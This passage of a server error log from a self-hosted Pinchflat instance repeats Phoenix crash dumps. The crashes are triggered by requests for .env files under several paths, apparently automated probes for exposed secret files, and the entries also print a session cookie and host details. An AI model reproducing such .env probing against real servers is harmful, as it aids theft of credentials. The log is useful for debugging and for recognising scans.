"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 98, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3402.0>, params: %{}, path_info: ["microservice", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/microservice/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6jg2sINqj9MAARhB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/microservice/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 98, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /microservice/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/microservice/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 98, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoP (truncated) 02:10:15.770 [info] GET /service/.env 02:10:15.771 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=181.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.772 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=121.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.772 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.773 [error] #PID<0.3403.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 99) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /service/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 99, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3403.0>, params: %{}, path_info: ["service", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/service/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6jwJPsbpSrMAARiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 99, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 99, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:15.845 [info] GET /api/v3/.env 02:10:15.845 [debug] QUERY OK source="settings" db=0.2ms idle=194.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.845 [debug] QUERY OK source="settings" db=0.1ms idle=138.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.845 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.846 [error] #PID<0.3404.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 100) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /api/v3/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v3/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v3/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 100, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3404.0>, params: %{}, path_info: ["api", "v3", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/api/v3/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6kB8jkoKo1AAARjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v3/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 100, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v3/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v3/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 100, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halt (truncated) 02:10:15.906 [info] GET /api/dev/.env 02:10:15.907 [debug] QUERY OK source="settings" db=0.3ms idle=198.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.907 [debug] QUERY OK source="settings" db=0.1ms idle=136.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.908 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.908 [error] #PID<0.3405.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 101) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /api/dev/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/dev/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/dev/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 101, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3405.0>, params: %{}, path_info: ["api", "dev", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/api/dev/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6kQp5Grae0MAARkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: 